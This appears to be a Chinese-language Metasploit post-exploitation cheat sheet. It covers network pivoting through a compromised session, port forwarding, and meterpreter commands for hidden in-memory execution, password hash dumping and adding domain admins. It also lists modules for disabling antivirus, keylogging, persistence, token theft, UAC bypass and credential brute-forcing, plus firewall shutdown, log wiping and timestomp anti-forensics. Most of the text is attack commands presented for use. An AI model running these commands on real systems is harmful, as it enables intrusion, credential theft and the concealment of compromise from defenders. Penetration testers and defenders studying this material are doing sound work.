CATALOG
1.内网代理
首先需要一个session
搭建路由
然后配置路由,比如我们配置让这个session来转发我们访问的172.16.250.0/24这个网段的所有流量。这时候我们需要在meterpreter里面执行
run autoroute -s 172.16.250.0/24
执行完后,可以将这个shell放到后台(利用bg命令)然后使用route print来查看配置是否成功,成功的范例如下:
也可以使用run autoroute -p来查询路由配置情况
配置socks5
这时候我们已经搭好了路由,但是还不能使用,这时候还需要创建一个socks5,然后通过proxychains的配合就可以完全利用这个session作为我们在内网的代理了。
具体操作为
use auxiliary/server/socks_proxy
set version 5
run
配置proxychains
找到proxychains.conf文件,不同系统存放位置不一样,macos是/usr/local/etc/proxychains.conf,linux是/etc/proxychains.conf。
使用vim命令编辑,将dynamic_chain前面的#去掉,然后加上socks的服务器的ip与端口
使用代理
直接执行命令proxychains nmap就是利用这个代理启动nmap,这边做个示范,用proxychains执行ssh并测试结果。
我们已经拿到了172.16.250.10的session,用这个session为跳板做了路由,来转发我们访问172.16.250.0/24的所有的流量,这时候我们用proxychains来使用ssh命令访问172.16.250.30,这时候对于.30来说,它其实是在跟.10通信,实验如下:
- 执行proxychains ssh
- 查看网络情况,发现172.16.250.30是与1872.16.250.10建立了socket连接,因此代理成功,结果如下:
2.端口转发
可以将远程端口转发到本地,使用命令portfwd
portfwd add -l 1234 -r 172.16.250.30 -p 8080
#将远程的172.16.250.30的8080端口转发到本地的1234端口。
直接在本地访问127.0.0.1:1234发现可以访问
3.常见高级参数
这些参数一般在生成web_delivery_payload或者使用exp攻击的时候有可能会用到:
参数字段 | 效果 |
---|---|
set PrependMigrate true | 启用迁移进程(默认为:false) |
set PrependMigrateProc explorer.exe | 迁移到此进程名:explorer.exe |
set SessionExpirationTimeout 0 | 会话超时时间0秒(会话永不超时),默认为:604800 |
set SessionCommunicationTimeout 0 | 会话通信超时0秒(会话永不过期),默认为:300 |
set EnableStageEncoding true | 启用Stage传输体载荷编码(默认为:false) |
set EnableUnicodeEncoding true | 启用Unicode编码(默认为:false) |
set stageencoder x86/fnstenv_mov | 设置传输编码为:x86/fnstenv_mov |
set HandlerSSLCert /tmp/772023.pem | 指定HTTPS PEM格式SSL证书路径 |
set StagerVerifySSLCert true | 验证HTTPS SSL证书 |
set ExitOnSession false | 退出会话为:false,保持端口监听(默认为:true) |
set AutoRunScript migrate -f | 自动运行migrate脚本,-f或-n参数 |
set InitialAutoRunScript migrate -f | 自动运行migrate脚本,优先AutoRunScript |
4.meterpreter常用命令
- execute
可以在对方主机执行文件或者命令。举例如下:
execute -H -i -f cmd.exe #隐藏的开启cmd并且是交互状态的。
execute -H -m -d notepad.exe -f wce.exe -a “-o wce.txt”
#-d 在目标主机执行时显示的进程名称(用以伪装)
#-m 直接从内存中执行
#"-o wce.txt"是wce.exe的运行参数 - rev2self#回到控制目标主机的初始用户账户下
- shell#获得控制台权限
- shutdown#关闭了受害者的计算机
- sysinfo # 查看目标机系统信息,如机器名,操作系统等
- add_user username password -h ip #在远程目标主机上添加一个用户
- add_group_user “Domain Admins” username -h ip #将用户添加到目标主机的域管理员组中
- hashdump #输出用户hash,需要管理员权限
- getpid #获取当前meterpreter所在的进程id
- use命令查看扩展
- arp #查看arp列表
- 最终一定会执行的clearev命令,删除日志。
5.常用信息收集脚本模块
脚本 | 效果 |
---|---|
run post/windows/gather/checkvm | #是否虚拟机 |
run post/windows/gather/enum_applications | #获取安装软件信息 |
run post/windows/gather/dumplinks | #获取最近的文件操作 |
run auxiliary/scanner/portscan/tcp rhost=127.0.0.1 | #扫描 |
run arp_scanner -r 192.168.1.1/24 | #arp扫描 |
run post/multi/gather/env | #查看环境变量 |
run getcountermeasure | #查看防火墙配置情况 |
run post/windows/gather/enum_patches | #查看补丁情况 |
run killav | #关闭AV |
run post/windows/gather/enum_logged_on_users | #查看用户登录情况(现在与过去登陆过的用户) |
run keylogrecorder | #记录键盘信息 |
run win32-sshserver | 安装openssh服务 |
run post/windows/gather/forensics/enum_drives | #记录磁盘分区信息 |
run persistence | #持久化 |
run post/windows/manage/enable_rdp | #开启远程桌面 |
run post/windows/gather/enum_ie | #获取IE缓存 |
run post/windows/gather/enum_chrome | #获取Chrome缓存 |
run scraper | #获取常见信息,并存储在~/.msf4/logs/scripts/scraper目录下 |
补充:
scraper生成的文件:有注册表、环境变量、组等各种信息
run persistence
-A 自动启动一个匹配的exploit / multi / handler来连接到代理
-L 如果未使用%TEMP%,则在目标主机中写入有效负载的位置。
-P 有效负载使用,默认为windows / meterpreter / reverse_tcp。
-S 作为服务自动启动代理程序(具有SYSTEM权限)
-T 要使用的备用可执行模板
-U 用户登录时自动启动代理
-X 系统引导时自动启动代理程序
-h 这个帮助菜单
-i 每次连接尝试之间的时间间隔(秒)
-p 运行Metasploit的系统正在侦听的端口
-r 运行Metasploit监听连接的系统的IP
6.盗取令牌
-
加载incognito模块
use incognito
-
查看可以被使用的令牌
list_tokens -u
#查看可被盗取的用户的令牌
list_tokens -g
#查看可被盗取的用户组的令牌
-
盗取令牌进行使用
impersonate_token SHANFENGLAN\test
如果impersonation tokens available部分有可用令牌,就可以使用上述命令进行盗取。 -
窃取程序的令牌
steal_token 10228
#窃取一个程序的令牌,10228为程序的pid,查看pid的时候有些程序不显示用户是谁,这是因为你的权限不够,如果权限足够就可以看到几乎所有程序的用户。
```drop_token 10228``#停止窃取此程序的令牌
7.bypassuac
use exploit/windows/local/bypassuac_sdclt
配置好session,执行run即可,经测试,在win10上成功。
8. 密码爆破模块
模块 | 用途 |
---|---|
auxiliary/scanner/mysql/mysql_login | mysql用户名密码爆破 |
auxiliary/scanner/ftp/ftp_login | ftp用户名密码爆破 |
auxiliary/scanner/ssh/ssh_login | ssh用户名密码爆破 |
auxiliary/scanner/telnet/telnet_login | telnet用户名密码爆破 |
auxiliary/scanner/smb/smb_login | smb用户名密码爆破 |
auxiliary/scanner/oracle/oracle_login | oracle用户名密码爆破 |
auxiliary/scanner/postgres/postgres_login | postgres用户名密码爆破 |
auxiliary/scanner/vnc/vnc_login | vnc用户名密码爆破 |
auxiliary/scanner/pcanywhere/pcanywhere_login | pcanywhere用户名密码爆破 |
auxiliary/scanner/snmp/snmp_login | snmp用户名密码爆破 |
auxiliary/scanner/ftp/anonymous | ftp匿名登陆 |
auxiliary/scanner/http/owa_ews_login | 邮箱密码爆棚 |
auxiliary/scanner/http/owa_login | 邮箱密码爆棚 |
9.通过shell关闭防火墙
netsh advfirewall set allprofiles state off
#windows
systemctl stop firewalld
#linux
10.对抗电子取证(修改MACE)
- 查询文件修改时间
timestomp -v [file_path]
- 修改文件创建时间
timestomp 3333.txt -c "10/27/2015 14:22:11"
补充:timestomp的其他选项
entery modified含义是,最后一次打开文件夹进行修改的时间,modified是修改完成的时间。
11.提权
-
ms10-073\ms10-092\ms14-002
Windows XP
Windows Server 2003 -
ms15-001\ms15_051
Microsoft Windows Vista
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2012
Microsoft Windows Server 2008 R2
Microsoft Windows Server 2008
Microsoft Windows Server 2003
Microsoft Windows RT 8.1
Microsoft Windows RT
Microsoft Windows 8.1
Microsoft Windows 8
Microsoft Windows 7 -
ms16-016
根据微软官方信息显示,此漏洞存在于在:
Windows Vista SP2
Windows Server 2008 x86 & x64
Windows Server 2008 R2 x64
Windows 7 x86 & x64
Windows 8.1 x86 & x64
系统中提升权限至系统权限,以下系统中导致系统拒绝服务(蓝屏):
Windows Server 2012
Windows Server 2012 R2
Windows RT 8.1
Windows 10 -
ms16-032
多exp -
MS16-075(烂土豆)
全版本通杀 -
CVE-2018-8120
Microsoft Windows Server 2008 R2 for x64-based Systems SP1
Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
Microsoft Windows Server 2008 for x64-based Systems SP2
Microsoft Windows Server 2008 for Itanium-based Systems SP2
Microsoft Windows Server 2008 for 32-bit Systems SP2
Microsoft Windows 7 for x64-based Systems SP1
Microsoft Windows 7 for 32-bit Systems SP1 -
mysql 提权
mysql_mof mof提权